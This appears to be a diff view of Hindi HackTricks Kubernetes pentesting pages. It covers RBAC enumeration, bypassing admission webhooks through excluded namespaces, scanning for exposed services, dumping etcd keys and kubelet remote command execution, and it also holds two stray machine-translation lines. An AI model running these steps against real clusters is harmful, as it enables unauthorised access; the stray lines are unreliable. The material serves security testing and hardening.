**अनुमतियाँ additive होती हैं** इसलिए अगर आपके पास एक clusterRole है जिसमें “list” और “delete” secrets हैं, तो आप इसे एक Role के साथ “get” जोड़ सकते हैं। इसलिए सावधान रहें और हमेशा अपने roles और permissions को test करें और **जो ALLOWED है उसे specify करें, क्योंकि default रूप से सब कुछ DENIED होता है।**
|
||||
**Permissions are additive** so if you have a clusterRole with “list” and “delete” secrets you can add it with a Role with “get”. So be aware and test always your roles and permissions and **specify what is ALLOWED, because everything is DENIED by default.**
|
||||
|
||||
## **Enumerating RBAC**
|
||||
### जाँचने योग्य विवरण
|
||||
|
||||
RBAC resource names को वैसे ही उपयोग करता है जैसे वे API URLs में दिखाई देते हैं, न कि YAML `kind`। एक Pod `pods` होता है, एक Deployment `deployments` होता है, और subresources को slash के साथ लिखा जाता है जैसे `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` या `services/proxy`। `pods` पर permission अपने-आप `pods/exec` या `pods/log` तक access नहीं देती।
|
||||
|
||||
`resourceNames` कुछ requests को specific object names तक restrict कर सकता है:
|
||||
```yaml
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["configmaps"]
|
||||
resourceNames: ["app-config"]
|
||||
verbs: ["get", "update"]
|
||||
```
|
||||
यह top-level `create` या `deletecollection` को नाम के आधार पर restrict नहीं करता। `list` और `watch` के लिए, client को matching `metadata.name` field selector शामिल करना होगा, वरना request उस rule द्वारा authorized नहीं होती:
|
||||
```bash
|
||||
kubectl get configmaps -n default --field-selector=metadata.name=app-config
|
||||
```
|
||||
उच्च-प्रभाव वाले checks के लिए exact access reviews का उपयोग करें:
|
||||
```bash
|
||||
kubectl auth can-i create pods/exec -n default
|
||||
kubectl auth can-i create serviceaccounts/token -n default
|
||||
kubectl auth can-i impersonate users
|
||||
kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io
|
||||
kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io
|
||||
```
|
||||
## **RBAC का Enumeration**
|
||||
```bash
|
||||
# Get current privileges
|
||||
kubectl auth can-i --list
|
||||
|
||||
+77
-32
@@ -2,15 +2,24 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**इस पृष्ठ के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
**इस पेज के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
|
||||
## परिभाषा
|
||||
|
||||
ValidatingWebhookConfiguration एक Kubernetes संसाधन है जो एक validating webhook को परिभाषित करता है, जो एक सर्वर-साइड घटक है जो आने वाले Kubernetes API अनुरोधों को पूर्वनिर्धारित नियमों और बाधाओं के सेट के खिलाफ मान्य करता है।
|
||||
`ValidatingWebhookConfiguration` एक Kubernetes resource है जो एक या अधिक validating admission webhooks को register करता है। ये webhooks authentication और authorization के बाद, लेकिन object persist होने से पहले, API server से AdmissionReview requests प्राप्त करते हैं।
|
||||
|
||||
Validating webhooks एक request को reject कर सकते हैं। `MutatingWebhookConfiguration` के साथ configured mutating webhooks पहले object को बदल सकते हैं। Security reviews को आमतौर पर दोनों resources की जांच करनी चाहिए क्योंकि एक malicious या कमजोर mutating webhook workloads को rewrite कर सकता है, जबकि एक validating webhook या policy engine उन्हें block या allow कर सकता है।
|
||||
|
||||
## उद्देश्य
|
||||
|
||||
ValidatingWebhookConfiguration का उद्देश्य एक validating webhook को परिभाषित करना है जो आने वाले Kubernetes API अनुरोधों पर पूर्वनिर्धारित नियमों और बाधाओं के सेट को लागू करेगा। यह webhook अनुरोधों को कॉन्फ़िगरेशन में परिभाषित नियमों और बाधाओं के खिलाफ मान्य करेगा, और यदि अनुरोध नियमों के अनुसार नहीं है तो एक त्रुटि लौटाएगा।
|
||||
`ValidatingWebhookConfiguration` का उद्देश्य यह define करना है कि API server कब एक validating webhook को call करे और webhook result को कैसे handle करे। महत्वपूर्ण security प्रश्न सिर्फ यह नहीं है कि "क्या policy installed है?", बल्कि यह भी है:
|
||||
|
||||
- कौन से API groups, resources, operations, और scopes से यह match करता है?
|
||||
- कौन से namespaces या objects selectors द्वारा excluded हैं?
|
||||
- क्या `matchConditions` किसी request classes को skip करता है?
|
||||
- क्या `failurePolicy` `Ignore` के साथ fail open करता है या `Fail` के साथ fail closed?
|
||||
- क्या webhook service reachable है, configured `caBundle` द्वारा trusted है, और एक highly privileged service account द्वारा run होती है?
|
||||
- क्या policy engine exception resources, excluded users, या excluded groups भी expose करता है?
|
||||
|
||||
**उदाहरण**
|
||||
|
||||
@@ -20,53 +29,74 @@ apiVersion: admissionregistration.k8s.io/v1
|
||||
kind: ValidatingWebhookConfiguration
|
||||
metadata:
|
||||
name: example-validation-webhook
|
||||
namespace: default
|
||||
webhook:
|
||||
name: example-validation-webhook
|
||||
webhooks:
|
||||
- name: pods.example.local
|
||||
admissionReviewVersions: ["v1"]
|
||||
sideEffects: None
|
||||
failurePolicy: Fail
|
||||
timeoutSeconds: 5
|
||||
clientConfig:
|
||||
url: https://example.com/webhook
|
||||
serviceAccountName: example-service-account
|
||||
service:
|
||||
namespace: webhook-system
|
||||
name: example-validation-webhook
|
||||
path: /validate
|
||||
caBundle: <base64-ca-bundle>
|
||||
rules:
|
||||
- apiGroups:
|
||||
- ""
|
||||
apiVersions:
|
||||
- "*"
|
||||
operations:
|
||||
- CREATE
|
||||
- UPDATE
|
||||
resources:
|
||||
- pods
|
||||
- apiGroups: [""]
|
||||
apiVersions: ["v1"]
|
||||
operations: ["CREATE", "UPDATE"]
|
||||
resources: ["pods"]
|
||||
scope: "Namespaced"
|
||||
namespaceSelector:
|
||||
matchExpressions:
|
||||
- key: kubernetes.io/metadata.name
|
||||
operator: NotIn
|
||||
values: ["kube-system"]
|
||||
```
|
||||
The main difference between a ValidatingWebhookConfiguration and policies :
|
||||
ValidatingWebhookConfiguration और policies के बीच मुख्य अंतर :
|
||||
|
||||
<figure><img src="../../images/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
|
||||
|
||||
- **ValidatingWebhookConfiguration (VWC)** : एक Kubernetes संसाधन जो एक validating webhook को परिभाषित करता है, जो एक सर्वर-साइड घटक है जो आने वाले Kubernetes API अनुरोधों को पूर्वनिर्धारित नियमों और बाधाओं के सेट के खिलाफ मान्य करता है।
|
||||
- **Kyverno ClusterPolicy**: एक नीति परिभाषा जो Kubernetes संसाधनों, जैसे pods, deployments, और services के लिए मान्य करने और लागू करने के लिए नियमों और बाधाओं के सेट को निर्दिष्ट करती है।
|
||||
- **ValidatingWebhookConfiguration (VWC)** : एक Kubernetes resource जो एक validating webhook को define करता है, जो एक server-side component है जो आने वाले Kubernetes API requests को predefined rules और constraints के set के against validate करता है।
|
||||
- **Kyverno ClusterPolicy**: एक policy definition जो Kubernetes resources, जैसे pods, deployments, और services, को validate और enforce करने के लिए rules और constraints का एक set specify करती है
|
||||
|
||||
## Enumeration
|
||||
```
|
||||
$ kubectl get ValidatingWebhookConfiguration
|
||||
$ kubectl get validatingwebhookconfigurations,mutatingwebhookconfigurations
|
||||
$ kubectl get validatingwebhookconfiguration <name> -o yaml
|
||||
$ kubectl get mutatingwebhookconfiguration <name> -o yaml
|
||||
$ kubectl get svc,deploy,pod -A | grep -i webhook
|
||||
```
|
||||
Fields to inspect:
|
||||
|
||||
- `rules`: शामिल किए गए API groups, versions, resources, subresources, operations, और scope की जांच करें।
|
||||
- `namespaceSelector` / `objectSelector`: ऐसे namespaces या labels देखें जो resources को policy से बाहर करते हैं।
|
||||
- `matchConditions`: CEL expressions जानबूझकर या गलती से requests को skip कर सकती हैं।
|
||||
- `failurePolicy`: `Ignore` webhook fail होने पर requests को जारी रहने देता है; `Fail` उन्हें block करता है।
|
||||
- `sideEffects`: side effects वाले webhooks dry-run testing को support नहीं कर सकते।
|
||||
- `timeoutSeconds`: `Ignore` के साथ बहुत short timeouts fail-open behavior बन सकते हैं।
|
||||
- `clientConfig`: देखें कि webhook in-cluster Service की ओर point करता है या external URL की ओर, और backing workload तथा service account की जांच करें।
|
||||
- `reinvocationPolicy`: बाद में होने वाले mutation से object बदलने पर mutating webhooks को फिर से invoke किया जा सकता है।
|
||||
|
||||
### Abusing Kyverno and Gatekeeper VWC
|
||||
|
||||
जैसा कि हम देख सकते हैं, सभी स्थापित ऑपरेटरों के पास कम से कम एक ValidatingWebHookConfiguration(VWC) है।
|
||||
जैसा कि हम देख सकते हैं, installed सभी operators में कम से कम एक ValidatingWebHookConfiguration(VWC) है।
|
||||
|
||||
**Kyverno** और **Gatekeeper** दोनों Kubernetes नीति इंजन हैं जो एक क्लस्टर में नीतियों को परिभाषित और लागू करने के लिए एक ढांचा प्रदान करते हैं।
|
||||
**Kyverno** और **Gatekeeper** दोनों Kubernetes policy engines हैं जो पूरे cluster में policies को define और enforce करने के लिए framework provide करते हैं।
|
||||
|
||||
Exceptions उन विशिष्ट नियमों या शर्तों को संदर्भित करते हैं जो किसी नीति को कुछ परिस्थितियों में बायपास या संशोधित करने की अनुमति देते हैं, लेकिन यह एकमात्र तरीका नहीं है!
|
||||
Exceptions का मतलब specific rules या conditions से है जो कुछ खास परिस्थितियों में policy को bypass या modify करने की अनुमति देते हैं, लेकिन यही एकमात्र तरीका नहीं है !
|
||||
|
||||
**kyverno** के लिए, जैसे ही एक मान्यकरण नीति होती है, वेबहुक `kyverno-resource-validating-webhook-cfg` भरा जाता है।
|
||||
**kyverno** के लिए, जैसे ही एक validating policy होती है, webhook `kyverno-resource-validating-webhook-cfg` populate हो जाता है।
|
||||
|
||||
Gatekeeper के लिए, `gatekeeper-validating-webhook-configuration` YAML फ़ाइल है।
|
||||
Gatekeeper के लिए, `gatekeeper-validating-webhook-configuration` YAML file है।
|
||||
|
||||
दोनों डिफ़ॉल्ट मानों के साथ आते हैं, लेकिन व्यवस्थापक टीमें उन 2 फ़ाइलों को अपडेट कर सकती हैं।
|
||||
दोनों default values के साथ आते हैं, लेकिन Administrator teams इन दोनों files को update कर सकती हैं।
|
||||
|
||||
### Use Case
|
||||
```bash
|
||||
$ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml
|
||||
```
|
||||
Please provide the output you would like me to identify or translate.
|
||||
Please provide the text/output you want me to identify.
|
||||
```yaml
|
||||
namespaceSelector:
|
||||
matchExpressions:
|
||||
@@ -79,20 +109,35 @@ values:
|
||||
- kube-system
|
||||
- MYAPP
|
||||
```
|
||||
यहाँ, `kubernetes.io/metadata.name` लेबल नामस्थान के नाम को संदर्भित करता है। `values` सूची में नाम वाले नामस्थान नीति से बाहर रखे जाएंगे:
|
||||
यहाँ, `kubernetes.io/metadata.name` namespace name label को संदर्भित करता है। `values` सूची में नाम वाले namespaces policy से exclude किए जाएंगे:
|
||||
|
||||
नामस्थान की उपस्थिति की जांच करें। कभी-कभी, स्वचालन या गलत कॉन्फ़िगरेशन के कारण, कुछ नामस्थान नहीं बनाए गए हो सकते हैं। यदि आपके पास नामस्थान बनाने की अनुमति है, तो आप `values` सूची में नाम के साथ एक नामस्थान बना सकते हैं और नीतियाँ आपके नए नामस्थान पर लागू नहीं होंगी।
|
||||
Namespaces की existence जांचें। कभी-कभी, automation या misconfiguration के कारण, कुछ namespaces create नहीं हुए होते। अगर आपके पास namespace create करने की permission है, तो आप `values` list में दिए गए नाम वाला namespace create कर सकते हैं और policies आपके नए namespace पर apply नहीं होंगी।
|
||||
|
||||
इस हमले का लक्ष्य **गलत कॉन्फ़िगरेशन** का लाभ उठाना है जो VWC के अंदर है ताकि ऑपरेटर की प्रतिबंधों को बायपास किया जा सके और फिर अन्य तकनीकों के साथ आपके विशेषाधिकारों को बढ़ाया जा सके।
|
||||
इस attack का goal VWC के अंदर **misconfiguration** का exploit करना है ताकि operators की restrictions bypass की जा सकें और फिर अन्य techniques के साथ अपनी privileges elevate की जा सकें
|
||||
|
||||
Other common bypass or abuse patterns:
|
||||
|
||||
- एक `objectSelector` जो users को अपने objects पर खुद का opt-out label जोड़ने की अनुमति देता है।
|
||||
- security-critical validation पर `failurePolicy: Ignore`, खासकर जब webhook Service के पास endpoints नहीं हैं या networking unreliable है।
|
||||
- users, groups, service accounts, namespaces, या roles के लिए policy engine exceptions जो intended scope से अधिक broad हों।
|
||||
- workload controller templates, `pods/ephemeralcontainers`, `pods/exec`, custom resources, या update operations के लिए missing coverage।
|
||||
- `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, Gatekeeper constraints, Kyverno policies, या exception resources पर write access।
|
||||
- एक malicious mutating webhook जो containers inject करता है, images बदलता है, secrets mount करता है, tolerations जोड़ता है, या validation से पहले service account selection बदलता है।
|
||||
|
||||
याद रखें कि admission केवल उन requests को protect करता है जो API server admission chain से गुजरती हैं। Static Pods, node-local runtime socket access, direct kubelet abuse, और direct etcd access अलग trust paths हैं और इनके लिए अलग hardening और monitoring की जरूरत होती है।
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
{{#endref}}
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
|
||||
- [https://kyverno.io/](https://kyverno.io/)
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)
|
||||
- [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/)
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,21 +2,31 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Kubernetes कई **specific network services** का उपयोग करता है, जो आपको **Internet पर exposed** या **internal network में** तब मिल सकते हैं जब आपने एक pod को compromise कर लिया हो।
|
||||
Kubernetes कई **specific network services** का उपयोग करता है, जो आपको **Internet पर exposed** या **internal network में** तब मिल सकते हैं जब आपने एक pod compromise कर लिया हो।
|
||||
|
||||
## OSINT के जरिए exposed pods ढूँढना
|
||||
## OSINT के साथ exposed pods ढूँढना
|
||||
|
||||
एक तरीका `Identity LIKE "k8s.%.com"` को [crt.sh](https://crt.sh) में search करना हो सकता है, ताकि kubernetes से जुड़े subdomains मिल सकें। दूसरा तरीका github में `"k8s.%.com"` search करना और उस string वाले **YAML files** ढूँढना हो सकता है।
|
||||
एक तरीका `Identity LIKE "k8s.%.com"` को [crt.sh](https://crt.sh) में search करना हो सकता है, ताकि kubernetes से संबंधित subdomains मिल सकें। दूसरा तरीका github में `"k8s.%.com"` search करना और उस string वाले **YAML files** ढूँढना हो सकता है।
|
||||
|
||||
## Kubernetes Services कैसे Expose करता है
|
||||
Scanning से पहले correlate करने के लिए उपयोगी external recon signals:
|
||||
|
||||
आपके लिए यह समझना उपयोगी हो सकता है कि Kubernetes services को **publicly expose** कैसे कर सकता है, ताकि आप उन्हें ढूँढ सकें:
|
||||
- DNS और certificate transparency names जिनमें `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`, या region names हों।
|
||||
- Cloud load balancer names, CNAMEs, tags, और provider hostnames, जो किसी exposed application या platform UI को cluster से जोड़ सकते हैं।
|
||||
- Public repositories, CI logs, Helm values, Terraform state, rendered manifests, container images, और documentation, जो kubeconfigs, API server URLs, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, Ingress hosts, Gateway listeners, या dashboard settings leak करते हों।
|
||||
- Managed Kubernetes inventory, जब cloud credentials scope में हों: EKS endpoint public/private access और public CIDRs, GKE public/private control-plane settings और authorized networks, तथा AKS private cluster/API server authorized IP settings।
|
||||
- Cluster के आसपास exposed platform tools जैसे Argo CD, Prometheus, Grafana, Harbor, registries, CI/CD dashboards, service mesh dashboards, और ingress-controller admin या metrics endpoints।
|
||||
|
||||
इन्हें attribution और prioritization clues की तरह समझें। एक public Ingress application कई clusters में normal है, जबकि exposed kubelet, etcd, dashboard, CI/CD deploy control, या leaked kubeconfig material को बहुत अधिक priority देनी चाहिए।
|
||||
|
||||
## Kubernetes Services को कैसे Expose करता है
|
||||
|
||||
Services को publicly expose करने के तरीके समझना आपके लिए useful हो सकता है, ताकि आप उन्हें ढूँढ सकें:
|
||||
|
||||
{{#ref}}
|
||||
../exposing-services-in-kubernetes.md
|
||||
{{#endref}}
|
||||
|
||||
## Port scanning के जरिए Exposed pods ढूँढना
|
||||
## Port scanning के जरिए exposed pods ढूँढना
|
||||
|
||||
Kubernetes cluster में निम्न ports open हो सकते हैं:
|
||||
|
||||
@@ -43,7 +53,7 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678
|
||||
```
|
||||
### Kube-apiserver
|
||||
|
||||
यह **API Kubernetes सेवा** है जिससे administrators आमतौर पर **`kubectl`** टूल का उपयोग करके बात करते हैं।
|
||||
यह **API Kubernetes सेवा** है जिससे administrators आमतौर पर **`kubectl`** tool का उपयोग करके बात करते हैं।
|
||||
|
||||
**Common ports: 6443 and 443**, लेकिन minikube में 8443 और insecure के रूप में 8080 भी।
|
||||
```bash
|
||||
@@ -51,7 +61,7 @@ curl -k https://<IP Address>:(8|6)443/swaggerapi
|
||||
curl -k https://<IP Address>:(8|6)443/healthz
|
||||
curl -k https://<IP Address>:(8|6)443/api/v1
|
||||
```
|
||||
**संवेदनशील डेटा प्राप्त करने और इस service से बात करते हुए संवेदनशील actions perform करने का तरीका जानने के लिए निम्न page देखें:**
|
||||
**इस पेज को देखें ताकि यह सीख सकें कि इस service से बात करके sensitive data कैसे प्राप्त करें और sensitive actions कैसे perform करें:**
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-enumeration.md
|
||||
@@ -59,18 +69,18 @@ curl -k https://<IP Address>:(8|6)443/api/v1
|
||||
|
||||
### Kubelet API
|
||||
|
||||
यह service **cluster के हर node में run करती है**। यह वही service है जो **node** के अंदर के pods को **control** करेगी। यह **kube-apiserver** से बात करती है।
|
||||
यह service **cluster के हर node पर run करती है**। यह वह service है जो **node** के अंदर के pods को **control** करेगी। यह **kube-apiserver** से बात करती है।
|
||||
|
||||
अगर आपको यह service exposed मिलती है, तो हो सकता है कि आपको एक **unauthenticated RCE** मिल गया हो।
|
||||
अगर आपको यह service exposed मिलती है, तो आपने शायद एक **unauthenticated RCE** पाया है।
|
||||
|
||||
#### Kubelet API
|
||||
```bash
|
||||
curl -k https://<IP address>:10250/metrics
|
||||
curl -k https://<IP address>:10250/pods
|
||||
```
|
||||
यदि response `Unauthorized` है, तो इसमें authentication की आवश्यकता होती है।
|
||||
यदि response `Unauthorized` है, तो इसके लिए authentication की आवश्यकता है।
|
||||
|
||||
यदि आप nodes की list बना सकते हैं, तो आप kubelets endpoints की list इस प्रकार प्राप्त कर सकते हैं:
|
||||
यदि आप nodes की सूची बना सकते हैं, तो आप kubelets endpoints की सूची इस तरह प्राप्त कर सकते हैं:
|
||||
```bash
|
||||
kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
|
||||
ip=$(echo $node | awk '{print $1}')
|
||||
@@ -79,7 +89,7 @@ echo "curl -k --max-time 30 https://$ip:$port/pods"
|
||||
echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd
|
||||
done
|
||||
```
|
||||
#### kubelet (केवल पढ़ने के लिए)
|
||||
#### kubelet (केवल पढ़ने योग्य)
|
||||
```bash
|
||||
curl -k https://<IP Address>:10255
|
||||
http://<external-IP>:10255/pods
|
||||
@@ -98,45 +108,68 @@ helm --host tiller-deploy.kube-system:44134 version
|
||||
|
||||
### cAdvisor
|
||||
|
||||
metrics इकट्ठा करने के लिए उपयोगी service।
|
||||
metrics इकट्ठा करने के लिए उपयोगी service.
|
||||
```bash
|
||||
curl -k https://<IP Address>:4194
|
||||
```
|
||||
### NodePort
|
||||
|
||||
जब एक पोर्ट को सभी nodes में **NodePort** के जरिए expose किया जाता है, तो वही पोर्ट सभी nodes पर खुल जाता है और traffic को घोषित **Service** की ओर proxify करता है। By default यह पोर्ट **range 30000-32767** में होगा। इसलिए नए unchecked services इन ports के जरिए accessible हो सकते हैं।
|
||||
जब किसी पोर्ट को **NodePort** के जरिए सभी nodes पर expose किया जाता है, तो वही पोर्ट सभी nodes पर खुल जाता है और traffic को घोषित **Service** में proxify करता है। डिफ़ॉल्ट रूप से यह पोर्ट **range 30000-32767** में होगा। इसलिए नए unchecked services इन ports के जरिए accessible हो सकते हैं।
|
||||
```bash
|
||||
sudo nmap -sS -p 30000-32767 <IP>
|
||||
```
|
||||
## कमजोर Misconfigurations
|
||||
### सर्विस mesh और proxy surfaces
|
||||
|
||||
Clusters जो **Istio, Linkerd, Cilium service mesh, or Envoy-based gateways** का उपयोग करते हैं, enumerate करने के लिए एक और service layer जोड़ते हैं। एक mesh mTLS, workload identity, L7 routing, authorization policy, telemetry, और gateway/egress controls दे सकता है, लेकिन यह केवल उस traffic को protect करता है जो वास्तव में mesh में enrolled और intercepted है।
|
||||
|
||||
Kubernetes access से उपयोगी checks:
|
||||
```bash
|
||||
kubectl get ns --show-labels | egrep 'istio|linkerd|mesh|cilium'
|
||||
kubectl get crd | egrep 'istio.io|linkerd.io|gateway.networking.k8s.io|cilium.io'
|
||||
kubectl get mutatingwebhookconfiguration,validatingwebhookconfiguration | egrep 'istio|linkerd|cilium'
|
||||
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,CONTAINERS:.spec.containers[*].name'
|
||||
kubectl get svc -A | egrep 'istio|envoy|linkerd|kiali|jaeger|prometheus|grafana|zipkin|hubble'
|
||||
```
|
||||
Review:
|
||||
|
||||
- Injection से opt out किए गए Namespaces या workloads, फिर भी proxy के बिना चलते हैं, या injection सक्षम होने से पहले बनाए गए थे।
|
||||
- mTLS mode. Permissive migration modes may still accept plaintext from unmeshed sources.
|
||||
- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, और egress resources.
|
||||
- Linkerd policy resources, identity, Server/authorization objects, और exposed `linkerd-viz`, tap, या metrics surfaces.
|
||||
- Cilium service mesh and Gateway API resources, Hubble visibility, Cilium policies, और Envoy integration points.
|
||||
- Envoy admin, config dump, stats, metrics, tracing, dashboard, और debug endpoints. ये routes, upstreams, certificates, identity, और traffic state को leak कर सकते हैं यदि बहुत व्यापक रूप से exposed हों।
|
||||
|
||||
service mesh को Kubernetes RBAC या NetworkPolicies का replacement न मानें। एक mesh policy HTTP request को block कर सकती है, लेकिन unmeshed Pod, skipped port, direct Pod IP path, gateway, egress proxy, या missing NetworkPolicy फिर भी एक practical route छोड़ सकते हैं।
|
||||
|
||||
## Vulnerable Misconfigurations
|
||||
|
||||
### Kube-apiserver Anonymous Access
|
||||
|
||||
**kube-apiserver API endpoints** तक Anonymous access **अनुमत नहीं है**. लेकिन आप कुछ endpoints चेक कर सकते हैं:
|
||||
Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints:
|
||||
|
||||

|
||||
|
||||
### **ETCD Anonymous Access की जाँच**
|
||||
### **Checking for ETCD Anonymous Access**
|
||||
|
||||
ETCD cluster secrets, configuration files और अन्य **sensitive data** स्टोर करता है. **By default**, ETCD **को** **anonymously** access **नहीं** किया जा सकता, लेकिन चेक करना हमेशा अच्छा होता है.
|
||||
ETCD cluster secrets, configuration files और अन्य **sensitive data** store करता है। **By default**, ETCD को **anonymously** access **नहीं** किया जा सकता, लेकिन फिर भी इसे check करना हमेशा अच्छा है।
|
||||
|
||||
अगर ETCD को anonymously access किया जा सकता है, तो आपको [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool** का **use** करना पड़ सकता है. निम्न command stored सभी keys प्राप्त करेगी:
|
||||
If ETCD can be accessed anonymously, you may need to **use the** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. The following command will get all the keys stored:
|
||||
```bash
|
||||
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
|
||||
```
|
||||
### **Kubelet RCE**
|
||||
|
||||
[**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) बताता है कि **default** से सेवा तक **anonymous acce**ss **allowed** है:
|
||||
[**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) बताती है कि **default** रूप से सेवा तक **anonymous access** **allowed** है:
|
||||
|
||||
> Kubelet server पर anonymous requests को सक्षम करता है। जो requests किसी दूसरे authentication method द्वारा reject नहीं की जातीं, उन्हें anonymous requests के रूप में माना जाता है। Anonymous requests का username `system:anonymous` और group name `system:unauthenticated` होता है।
|
||||
> Kubelet server पर anonymous requests सक्षम करता है। जो requests किसी अन्य authentication method द्वारा rejected नहीं होतीं, उन्हें anonymous requests माना जाता है। Anonymous requests का username `system:anonymous` और group name `system:unauthenticated` होता है
|
||||
|
||||
**Kubelet API के authentication and authorization** कैसे काम करते हैं, इसे बेहतर समझने के लिए यह page देखें:
|
||||
**Kubelet API की authentication and authorization** कैसे काम करती है, इसे बेहतर समझने के लिए यह पेज देखें:
|
||||
|
||||
{{#ref}}
|
||||
kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
**Kubelet** service **API is not documented**, लेकिन source code यहाँ मिल सकता है, और exposed endpoints ढूँढना बस **running** जितना आसान है:
|
||||
**Kubelet** service **API is not documented**, लेकिन source code यहाँ मिल सकता है और exposed endpoints ढूँढना बस **running** जितना आसान है:
|
||||
```bash
|
||||
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'
|
||||
|
||||
@@ -150,7 +183,7 @@ Path("/runningpods/").
|
||||
```
|
||||
वे सभी दिलचस्प लगते हैं।
|
||||
|
||||
आप [**Kubeletctl**](https://github.com/cyberark/kubeletctl) tool का उपयोग करके Kubelets और उनके endpoints के साथ interact कर सकते हैं।
|
||||
आप [**Kubeletctl**](https://github.com/cyberark/kubeletctl) टूल का उपयोग करके Kubelets और उनके endpoints के साथ interact कर सकते हैं।
|
||||
|
||||
#### /pods
|
||||
|
||||
@@ -165,13 +198,13 @@ kubeletctl pods
|
||||
kubeletctl exec [command]
|
||||
```
|
||||
> [!NOTE]
|
||||
> इस attack से बचने के लिए _**kubelet**_ service को `--anonymous-auth false` के साथ run करना चाहिए और service को network level पर segregate करना चाहिए।
|
||||
> इस हमले से बचने के लिए _**kubelet**_ सेवा को `--anonymous-auth false` के साथ चलाया जाना चाहिए और सेवा को network level पर segregate किया जाना चाहिए।
|
||||
|
||||
### **Kubelet (Read Only Port) Information Exposure की जांच**
|
||||
|
||||
जब एक **kubelet read-only port** exposed होता है, तो unauthorized parties के लिए API से information retrieve करना संभव हो जाता है। इस port का exposure विभिन्न **cluster configuration elements** के disclosure का कारण बन सकता है। हालांकि **pod names, internal files की locations, और other configurations** जैसी information critical न भी हों, फिर भी इसका exposure security risk पैदा करता है और इससे बचना चाहिए।
|
||||
जब एक **kubelet read-only port** exposed होता है, तो unauthorized parties के लिए API से information retrieve करना संभव हो जाता है। इस port का exposure विभिन्न **cluster configuration elements** के disclosure का कारण बन सकता है। हालांकि **pod names, internal files के locations, और other configurations** जैसी information critical न भी हो, फिर भी इसका exposure security risk पैदा करता है और इससे बचना चाहिए।
|
||||
|
||||
इस vulnerability का exploit करने का एक example एक remote attacker द्वारा specific URL को access करना है। `http://<external-IP>:10255/pods` पर navigate करके attacker kubelet से sensitive information potentially retrieve कर सकता है:
|
||||
इस vulnerability का exploitation करने का एक उदाहरण remote attacker द्वारा एक specific URL access करना है। `http://<external-IP>:10255/pods` पर जाकर, attacker kubelet से sensitive information संभावित रूप से retrieve कर सकता है:
|
||||
|
||||

|
||||
|
||||
|
||||
Reference in New Issue
Block a user